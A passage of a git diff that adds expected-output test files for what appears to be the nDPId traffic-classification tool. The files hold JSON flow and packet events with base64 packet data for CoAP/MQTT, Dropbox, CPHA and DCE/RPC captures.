+00529{"flow_id":15,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1401,"source":"coap_mqtt.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1455907274,"pkt_ts_usec":779814,"pkt_caplen":137,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":137,"pkt_l4_len":103,"pkt":"CAAnmO\/hCAAnAERyCABFAAB7EykAAIARNZLAqDgBwKg4ZcSIRFwAZyZkQgNSlWdockRcQXIIQnVzMTdDbWQRMv97Im1lc3NhZ2VUeXBlIjoiVVBEQVRFIiwibWVzc2FnZUNvbnRlbnQiOiJGcmkgRmViIDE5IDIwOjQxOjE0IEVFVCAyMDE2In0="} +00422{"flow_id":15,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1410,"source":"coap_mqtt.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1455907274,"pkt_ts_usec":785600,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":26,"pkt":"CAAnAERyCAAnmO\/hCABFAAAuXwBAAEAR6gfAqDhlwKg4AURcxIgAGvHiYkRSlWdoiy9yL0J1czE3Q21k"} +00530{"flow_id":15,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1479,"source":"coap_mqtt.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1455907274,"pkt_ts_usec":902701,"pkt_caplen":137,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":137,"pkt_l4_len":103,"pkt":"CAAnmO\/hCAAnAERyCABFAAB7E0wAAIARNW\/AqDgBwKg4ZcSIRFwAZyoCQgNSlmPJckRcQXIIQnVzMTdDbWQRMv97Im1lc3NhZ2VUeXBlIjoiVVBEQVRFIiwibWVzc2FnZUNvbnRlbnQiOiJGcmkgRmViIDE5IDIwOjQxOjE0IEVFVCAyMDE2In0="} +00485{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1927,"source":"coap_mqtt.pcap","alias":"nDPId-test","flow_id":16,"flow_packet_id":1,"flow_first_seen":1455907275690,"flow_last_seen":0,"flow_tot_l4_data_len":107,"flow_min_l4_data_len":107,"flow_max_l4_data_len":107,"flow_avg_l4_data_len":107,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.56.1","dst_ip":"192.168.56.101","src_port":50319,"dst_port":17500,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00535{"flow_id":16,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1927,"source":"coap_mqtt.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1455907275,"pkt_ts_usec":690777,"pkt_caplen":141,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":141,"pkt_l4_len":107,"pkt":"CAAnmO\/hCAAnAERyCABFAAB\/FCAAAIARNJfAqDgBwKg4ZcSPRFwAa2JLRgOAZtDWwMpn\/nJEXEFyCEJ1czE3Q21kETL\/eyJtZXNzYWdlVHlwZSI6IlVQREFURSIsIm1lc3NhZ2VDb250ZW50IjoiRnJpIEZlYiAxOSAyMDo0MToxNSBFRVQgMjAxNiJ9"} +00518{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1927,"source":"coap_mqtt.pcap","alias":"nDPId-test","flow_id":16,"flow_packet_id":1,"flow_first_seen":1455907275690,"flow_last_seen":0,"flow_tot_l4_data_len":107,"flow_min_l4_data_len":107,"flow_max_l4_data_len":107,"flow_avg_l4_data_len":107,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.56.1","dst_ip":"192.168.56.101","src_port":50319,"dst_port":17500,"l4_proto":"udp","ndpi": {"proto":"Dropbox","breed":"Acceptable","category":"Cloud"}} +00430{"flow_id":16,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1936,"source":"coap_mqtt.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1455907275,"pkt_ts_usec":695868,"pkt_caplen":64,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":64,"pkt_l4_len":30,"pkt":"CAAnAERyCAAnmO\/hCABFAAAyX35AAEAR6YXAqDhlwKg4AURcxI8AHvHmZkSAZtDWwMpn\/osvci9CdXMxN0NtZA=="} +00537{"flow_id":16,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2015,"source":"coap_mqtt.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1455907275,"pkt_ts_usec":831283,"pkt_caplen":142,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":142,"pkt_l4_len":108,"pkt":"CAAnmO\/hCAAnAERyCABFAACAFEwAAIARNGrAqDgBwKg4ZcSPRFwAbLkURwOAZ6ExGoh1VzNyRFxBcghCdXMxN0NtZBEy\/3sibWVzc2FnZVR5cGUiOiJVUERBVEUiLCJtZXNzYWdlQ29udGVudCI6IkZyaSBGZWIgMTkgMjA6NDE6MTUgRUVUIDIwMTYifQ=="} +00430{"flow_id":16,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2024,"source":"coap_mqtt.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1455907275,"pkt_ts_usec":835251,"pkt_caplen":65,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":65,"pkt_l4_len":31,"pkt":"CAAnAERyCAAnmO\/hCABFAAAzX45AAEAR6XTAqDhlwKg4AURcxI8AH\/HnZ0SAZ6ExGoh1VzOLL3IvQnVzMTdDbWQ="} +00528{"flow_id":16,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2105,"source":"coap_mqtt.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1455907275,"pkt_ts_usec":958608,"pkt_caplen":137,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":137,"pkt_l4_len":103,"pkt":"CAAnmO\/hCAAnAERyCABFAAB7FHgAAIARNEPAqDgBwKg4ZcSPRFwAZyUVQgOAaDrbckRcQXIIQnVzMTdDbWQRMv97Im1lc3NhZ2VUeXBlIjoiVVBEQVRFIiwibWVzc2FnZUNvbnRlbnQiOiJGcmkgRmViIDE5IDIwOjQxOjE2IEVFVCAyMDE2In0="} +00421{"flow_id":16,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2126,"source":"coap_mqtt.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1455907275,"pkt_ts_usec":964538,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":26,"pkt":"CAAnAERyCAAnmO\/hCABFAAAuX5xAAEAR6WvAqDhlwKg4AURcxI8AGvHiYkSAaDrbiy9yL0J1czE3Q21k"} +00528{"flow_id":16,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2204,"source":"coap_mqtt.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1455907276,"pkt_ts_usec":96644,"pkt_caplen":137,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":137,"pkt_l4_len":103,"pkt":"CAAnmO\/hCAAnAERyCABFAAB7FKIAAIARNBnAqDgBwKg4ZcSPRFwAZ\/GyQgOAaW48ckRcQXIIQnVzMTdDbWQRMv97Im1lc3NhZ2VUeXBlIjoiVVBEQVRFIiwibWVzc2FnZUNvbnRlbnQiOiJGcmkgRmViIDE5IDIwOjQxOjE2IEVFVCAyMDE2In0="} +00420{"flow_id":16,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2213,"source":"coap_mqtt.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1455907276,"pkt_ts_usec":98994,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":26,"pkt":"CAAnAERyCAAnmO\/hCABFAAAuX65AAEAR6VnAqDhlwKg4AURcxI8AGvHiYkSAaW48iy9yL0J1czE3Q21k"} +00533{"flow_id":16,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2281,"source":"coap_mqtt.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1455907276,"pkt_ts_usec":234342,"pkt_caplen":140,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":140,"pkt_l4_len":106,"pkt":"CAAnmO\/hCAAnAERyCABFAAB+FMkAAIARM+\/AqDgBwKg4ZcSPRFwAap3JRQOAaiZbdwHjckRcQXIIQnVzMTdDbWQRMv97Im1lc3NhZ2VUeXBlIjoiVVBEQVRFIiwibWVzc2FnZUNvbnRlbnQiOiJGcmkgRmViIDE5IDIwOjQxOjE2IEVFVCAyMDE2In0="} +00426{"flow_id":16,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2294,"source":"coap_mqtt.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1455907276,"pkt_ts_usec":240216,"pkt_caplen":63,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":63,"pkt_l4_len":29,"pkt":"CAAnAERyCAAnmO\/hCABFAAAxX71AAEAR6UfAqDhlwKg4AURcxI8AHfHlZUSAaiZbdwHjiy9yL0J1czE3Q21k"} +00530{"flow_id":16,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2382,"source":"coap_mqtt.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1455907276,"pkt_ts_usec":372207,"pkt_caplen":137,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":137,"pkt_l4_len":103,"pkt":"CAAnmO\/hCAAnAERyCABFAAB7FPoAAIARM8HAqDgBwKg4ZcSPRFwAZ2MyQgOAa\/y6ckRcQXIIQnVzMTdDbWQRMv97Im1lc3NhZ2VUeXBlIjoiVVBEQVRFIiwibWVzc2FnZUNvbnRlbnQiOiJGcmkgRmViIDE5IDIwOjQxOjE2IEVFVCAyMDE2In0="} +00423{"flow_id":16,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2401,"source":"coap_mqtt.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1455907276,"pkt_ts_usec":378809,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":26,"pkt":"CAAnAERyCAAnmO\/hCABFAAAuX9tAAEAR6SzAqDhlwKg4AURcxI8AGvHiYkSAa\/y6iy9yL0J1czE3Q21k"} +00530{"flow_id":16,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2463,"source":"coap_mqtt.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1455907276,"pkt_ts_usec":504810,"pkt_caplen":136,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":136,"pkt_l4_len":102,"pkt":"CAAnmO\/hCAAnAERyCABFAAB6FSUAAIARM5fAqDgBwKg4ZcSPRFwAZtwsQQOAbEZyRFxBcghCdXMxN0NtZBEy\/3sibWVzc2FnZVR5cGUiOiJVUERBVEUiLCJtZXNzYWdlQ29udGVudCI6IkZyaSBGZWIgMTkgMjA6NDE6MTYgRUVUIDIwMTYifQ=="} +00422{"flow_id":16,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2481,"source":"coap_mqtt.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1455907276,"pkt_ts_usec":512120,"pkt_caplen":59,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":59,"pkt_l4_len":25,"pkt":"CAAnAERyCAAnmO\/hCABFAAAtX+dAAEAR6SHAqDhlwKg4AURcxI8AGfHhYUSAbEaLL3IvQnVzMTdDbWQ="} +00535{"flow_id":16,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2543,"source":"coap_mqtt.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1455907276,"pkt_ts_usec":636911,"pkt_caplen":141,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":141,"pkt_l4_len":107,"pkt":"CAAnmO\/hCAAnAERyCABFAAB\/FUwAAIARM2vAqDgBwKg4ZcSPRFwAa923RgOAbRWOzuOZuXJEXEFyCEJ1czE3Q21kETL\/eyJtZXNzYWdlVHlwZSI6IlVQREFURSIsIm1lc3NhZ2VDb250ZW50IjoiRnJpIEZlYiAxOSAyMDo0MToxNiBFRVQgMjAxNiJ9"} diff --git a/test/results/cpha.pcap.out b/test/results/cpha.pcap.out new file mode 100644 index 000000000..698b23dd8 --- /dev/null +++ b/test/results/cpha.pcap.out @@ -0,0 +1,2 @@ +00426{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1,"source":"cpha.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1603354463,"pkt_ts_usec":286532,"pkt_caplen":96,"pkt_type":33024,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":96,"pkt_l4_len":0,"pkt":"AQBeFQMBAAAAAAEBgQAAFQgARQAATgAAAAD\/EQyKAAAAAKwVAwAftB+0ADpJ\/BqQDDEnhQABABZ5PgAB\/\/7gSgEAAAIAAQAACAoAAgADAAQAAAIECQAAAAkAAAAAAAIA"} +00154{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":1,"source":"cpha.pcap","alias":"nDPId-test","type":33024} diff --git a/test/results/dcerpc.pcap.out b/test/results/dcerpc.pcap.out new file mode 100644 index 000000000..2ecc3b746 --- /dev/null +++ b/test/results/dcerpc.pcap.out @@ -0,0 +1,24 @@ +00476{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1,"source":"dcerpc.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":1,"flow_first_seen":1602860709979,"flow_last_seen":0,"flow_tot_l4_data_len":650,"flow_min_l4_data_len":650,"flow_max_l4_data_len":650,"flow_avg_l4_data_len":650,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.11","dst_ip":"192.168.1.20","src_port":49155,"dst_port":34964,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +01262{"flow_id":1,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1,"source":"dcerpc.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1602860709,"pkt_ts_usec":979607,"pkt_caplen":684,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":684,"pkt_l4_len":650,"pkt":"AA7wSJ4FABwGCybtCABFAAKeAX4AAB4RFWLAqAELwKgBFMADiJQCip8cBAAgAAAAAADeoAAAbJcR0YJxAAEBAQFN3qAAAWyXEdGCcQCgJELffTX9qQA1ihISgAQAHAYLJu0AAAAAAAAAAQAAAAAAAP\/\/\/\/8CMgAAAAAAAAMtAAACHgAAAy0AAAAAAAACHgEBAEQBAAABCfGlMMdfbUe2f4BzQ53qrQACABwGCybt3qAAAGyXEdGCcQBkAQ0AKgAAABECWIiSAA5wbGN4YmtvbnRyNzRiNwECAGgBAAABAAGIkgAAAAIAKIAAACAAAgABAAD\/\/\/\/\/AAMAA8AAAAAAAAAAAAEAAAAAAAcAAAABAAAAAIAAAAEAAIABAAIAAIACAAMAAQABAAQAAgABAAYAAwABAAkAAgACAAEACAAEAAEACwECAGgBAAACAAKIkgAAAAIAKIAQACAAAgABAAD\/\/\/\/\/AAMAA8AAAAAAAAAAAAEAAAAAAAIAAgABAAYABAABAAkABwAAAAEAAAAAgAAAAQAAgAEAAgAAgAIAAwABAAEABAACAAEABQADAAEACAEEAEoBAAABAAAAAAAAAAAEBgAAAAQAAQAAAAEAAAABAAABAYAAAAAAAgAAAAEAAAEBgAEAAAADAAAAAQAAAQGAAgAAAAMAAAABAAABAQEEACABAAABAAAAAAABAQAA2AAAAAEAAQAAAAEAAQABAAEBAQEEACYBAAABAAAAAAACCAgABAAAAAEAAQAAAAEAAwABAAEBAQACAAEBAQEEACABAAABAAAAAAADCAAAAgAAAAEAAQAAAAEAAQABAAEBAQEEACABAAABAAAAAAAEAAgAUgAAAAEAAQAAAAEAAgACAAEBAQEDABYBAAABiJIAAAAAAAEAAwAAAQDAAKAA"} +00507{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1,"source":"dcerpc.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":1,"flow_first_seen":1602860709979,"flow_last_seen":0,"flow_tot_l4_data_len":650,"flow_min_l4_data_len":650,"flow_max_l4_data_len":650,"flow_avg_l4_data_len":650,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.11","dst_ip":"192.168.1.20","src_port":49155,"dst_port":34964,"l4_proto":"udp","ndpi": {"proto":"DCE_RPC","breed":"Acceptable","category":"RPC"}} +01262{"flow_id":1,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2,"source":"dcerpc.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1602860709,"pkt_ts_usec":979608,"pkt_caplen":684,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":684,"pkt_l4_len":650,"pkt":"AA7wSJ4FABwGCybtCABFAAKeAX4AAB4RFWLAqAELwKgBFMADiJQCip8cBAAgAAAAAADeoAAAbJcR0YJxAAEBAQFN3qAAAWyXEdGCcQCgJELffTX9qQA1ihISgAQAHAYLJu0AAAAAAAAAAQAAAAAAAP\/\/\/\/8CMgAAAAAAAAMtAAACHgAAAy0AAAAAAAACHgEBAEQBAAABCfGlMMdfbUe2f4BzQ53qrQACABwGCybt3qAAAGyXEdGCcQBkAQ0AKgAAABECWIiSAA5wbGN4YmtvbnRyNzRiNwECAGgBAAABAAGIkgAAAAIAKIAAACAAAgABAAD\/\/\/\/\/AAMAA8AAAAAAAAAAAAEAAAAAAAcAAAABAAAAAIAAAAEAAIABAAIAAIACAAMAAQABAAQAAgABAAYAAwABAAkAAgACAAEACAAEAAEACwECAGgBAAACAAKIkgAAAAIAKIAQACAAAgABAAD\/\/\/\/\/AAMAA8AAAAAAAAAAAAEAAAAAAAIAAgABAAYABAABAAkABwAAAAEAAAAAgAAAAQAAgAEAAgAAgAIAAwABAAEABAACAAEABQADAAEACAEEAEoBAAABAAAAAAAAAAAEBgAAAAQAAQAAAAEAAAABAAABAYAAAAAAAgAAAAEAAAEBgAEAAAADAAAAAQAAAQGAAgAAAAMAAAABAAABAQEEACABAAABAAAAAAABAQAA2AAAAAEAAQAAAAEAAQABAAEBAQEEACYBAAABAAAAAAACCAgABAAAAAEAAQAAAAEAAwABAAEBAQACAAEBAQEEACABAAABAAAAAAADCAAAAgAAAAEAAQAAAAEAAQABAAEBAQEEACABAAABAAAAAAAEAAgAUgAAAAEAAQAAAAEAAgACAAEBAQEDABYBAAABiJIAAAAAAAEAAwAAAQDAAKAA"} +00476{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":3,"source":"dcerpc.pcap","alias":"nDPId-test","flow_id":2,"flow_packet_id":1,"flow_first_seen":1602860709993,"flow_last_seen":0,"flow_tot_l4_data_len":178,"flow_min_l4_data_len":178,"flow_max_l4_data_len":178,"flow_avg_l4_data_len":178,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.20","dst_ip":"192.168.1.11","src_port":49161,"dst_port":49155,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00625{"flow_id":2,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3,"source":"dcerpc.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1602860709,"pkt_ts_usec":993940,"pkt_caplen":212,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":212,"pkt_l4_len":178,"pkt":"ABwGCybtAA7wSJ4FCABFAADGAAUAAB4RGLPAqAEUwKgBC8AJwAMAsvR9BAIKABAAAAAAAKDel2zREYJxAAEBAQFNAQCg3pds0RGCcQCgJELffQCp\/TWKNRISgAQAHAYLJu0AAAAAAQAAAAAAAAAAAP\/\/\/\/9aAAAAAAAAAAAARgAAAC0DAAAAAAAARgAAAIEBAB4BAAABCfGlMMdfbUe2f4BzQ53qrQACAA7wSJ4FiJKBAgAIAQAAAQABgACBAgAIAQAAAgACgBCBAwAIAQAAAQAUBZg="} +00507{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":3,"source":"dcerpc.pcap","alias":"nDPId-test","flow_id":2,"flow_packet_id":1,"flow_first_seen":1602860709993,"flow_last_seen":0,"flow_tot_l4_data_len":178,"flow_min_l4_data_len":178,"flow_max_l4_data_len":178,"flow_avg_l4_data_len":178,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.20","dst_ip":"192.168.1.11","src_port":49161,"dst_port":49155,"l4_proto":"udp","ndpi": {"proto":"DCE_RPC","breed":"Acceptable","category":"RPC"}} +00625{"flow_id":2,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4,"source":"dcerpc.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1602860709,"pkt_ts_usec":993941,"pkt_caplen":212,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":212,"pkt_l4_len":178,"pkt":"ABwGCybtAA7wSJ4FCABFAADGAAUAAB4RGLPAqAEUwKgBC8AJwAMAsvR9BAIKABAAAAAAAKDel2zREYJxAAEBAQFNAQCg3pds0RGCcQCgJELffQCp\/TWKNRISgAQAHAYLJu0AAAAAAQAAAAAAAAAAAP\/\/\/\/9aAAAAAAAAAAAARgAAAC0DAAAAAAAARgAAAIEBAB4BAAABCfGlMMdfbUe2f4BzQ53qrQACAA7wSJ4FiJKBAgAIAQAAAQABgACBAgAIAQAAAgACgBCBAwAIAQAAAQAUBZg="} +01685{"flow_id":1,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5,"source":"dcerpc.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1602860710,"pkt_ts_usec":12562,"pkt_caplen":995,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":995,"pkt_l4_len":961,"pkt":"AA7wSJ4FABwGCybtCABFAAPVAX8AAB4RFCrAqAELwKgBFMADiJQDwWYXBAAgAAAAAADeoAAAbJcR0YJxAAEBAQFN3qAAAWyXEdGCcQCgJELffTX9qQA1ihISgAQAHAYLJu0AAAAAAAAAAQAAAAEAA\/\/\/\/\/8DaQAAAAAAAANVAAADVQAAA1UAAAAAAAADVQAIADwBAAAACfGlMMdfbUe2f4BzQ53qrf\/\/\/\/\/\/\/\/\/\/AADgQAAAAxUAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAA8AQAAAQnxpTDHX21Htn+Ac0Od6q0AAAAAAAAAAQAAAAEAAAAGAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIQAfADEAAAAACAA8AQAAAgnxpTDHX21Htn+Ac0Od6q0AAAAAAACAAAAAgFEAAAAcAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAhMAGAEAAADD1of+eJ4Doazb5b\/LvCe2AAAAAAAIADwBAAADCfGlMMdfbUe2f4BzQ53qrQAAAAAAAIAAAACAUgAAACgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACEQAkAQAAAMPWh\/54ngOhrNvlv8u8J7YAAAAAC21ycGRvbWFpbi0xAAgAPAEAAAQJ8aUwx19tR7Z\/gHNDneqtAAAAAAACAAEAAAABAAAACgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEABwdRAAAAAAAAAAAIADwBAAAFCfGlMMdfbUe2f4BzQ53qrQAAAAAAAgABAAAAAgAAAAUAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBgEA\/wAAAAAIADwBAAAGCfGlMMdfbUe2f4BzQ53qrQAAAAAAAgABAAAAAwAAAAkAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAASAQEBAQEBAQEAAAAACAA8AQAABwnxpTDHX21Htn+Ac0Od6q0AAAAAAAMAAQAAAAEAAAAKAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAHAVEAAAAAAAAAAAgAPAEAAAgJ8aUwx19tR7Z\/gHNDneqtAAAAAAADAAEAAAACAAAABQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEGAQD\/AAAAAAgAPAEAAAkJ8aUwx19tR7Z\/gHNDneqtAAAAAAAEAAEAAAABAAAACgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEABgQAAAAAAP8AAAAIADwBAAAKCfGlMMdfbUe2f4BzQ53qrQAAAAAABAABAAAAAgAAAAkAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAASAQEBAQEBAQE="} +01685{"flow_id":1,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6,"source":"dcerpc.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1602860710,"pkt_ts_usec":12566,"pkt_caplen":995,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":995,"pkt_l4_len":961,"pkt":"AA7wSJ4FABwGCybtCABFAAPVAX8AAB4RFCrAqAELwKgBFMADiJQDwWYXBAAgAAAAAADeoAAAbJcR0YJxAAEBAQFN3qAAAWyXEdGCcQCgJELffTX9qQA1ihISgAQAHAYLJu0AAAAAAAAAAQAAAAEAA\/\/\/\/\/8DaQAAAAAAAANVAAADVQAAA1UAAAAAAAADVQAIADwBAAAACfGlMMdfbUe2f4BzQ53qrf\/\/\/\/\/\/\/\/\/\/AADgQAAAAxUAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAA8AQAAAQnxpTDHX21Htn+Ac0Od6q0AAAAAAAAAAQAAAAEAAAAGAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIQAfADEAAAAACAA8AQAAAgnxpTDHX21Htn+Ac0Od6q0AAAAAAACAAAAAgFEAAAAcAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAhMAGAEAAADD1of+eJ4Doazb5b\/LvCe2AAAAAAAIADwBAAADCfGlMMdfbUe2f4BzQ53qrQAAAAAAAIAAAACAUgAAACgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACEQAkAQAAAMPWh\/54ngOhrNvlv8u8J7YAAAAAC21ycGRvbWFpbi0xAAgAPAEAAAQJ8aUwx19tR7Z\/gHNDneqtAAAAAAACAAEAAAABAAAACgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEABwdRAAAAAAAAAAAIADwBAAAFCfGlMMdfbUe2f4BzQ53qrQAAAAAAAgABAAAAAgAAAAUAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBgEA\/wAAAAAIADwBAAAGCfGlMMdfbUe2f4BzQ53qrQAAAAAAAgABAAAAAwAAAAkAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAASAQEBAQEBAQEAAAAACAA8AQAABwnxpTDHX21Htn+Ac0Od6q0AAAAAAAMAAQAAAAEAAAAKAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAHAVEAAAAAAAAAAAgAPAEAAAgJ8aUwx19tR7Z\/gHNDneqtAAAAAAADAAEAAAACAAAABQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEGAQD\/AAAAAAgAPAEAAAkJ8aUwx19tR7Z\/gHNDneqtAAAAAAAEAAEAAAABAAAACgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEABgQAAAAAAP8AAAAIADwBAAAKCfGlMMdfbUe2f4BzQ53qrQAAAAAABAABAAAAAgAAAAkAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAASAQEBAQEBAQE="} +01482{"flow_id":2,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7,"source":"dcerpc.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1602860710,"pkt_ts_usec":24909,"pkt_caplen":846,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":846,"pkt_l4_len":812,"pkt":"ABwGCybtAA7wSJ4FCABFAANAAAYAAB4RFjjAqAEUwKgBC8AJwAMDLC54BAIKABAAAAAAAKDel2zREYJxAAEBAQFNAQCg3pds0RGCcQCgJELffQCp\/TWKNRISgAQAHAYLJu0AAAAAAQAAAAEAAAADAP\/\/\/\/\/UAgAAAAAAAAAAwAIAAFUDAAAAAAAAwAIAAIAIADwBAAAACfGlMMdfbUe2f4BzQ53qrf\/\/\/\/\/\/\/\/\/\/AADgQAAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACACAA8AQAAAQnxpTDHX21Htn+Ac0Od6q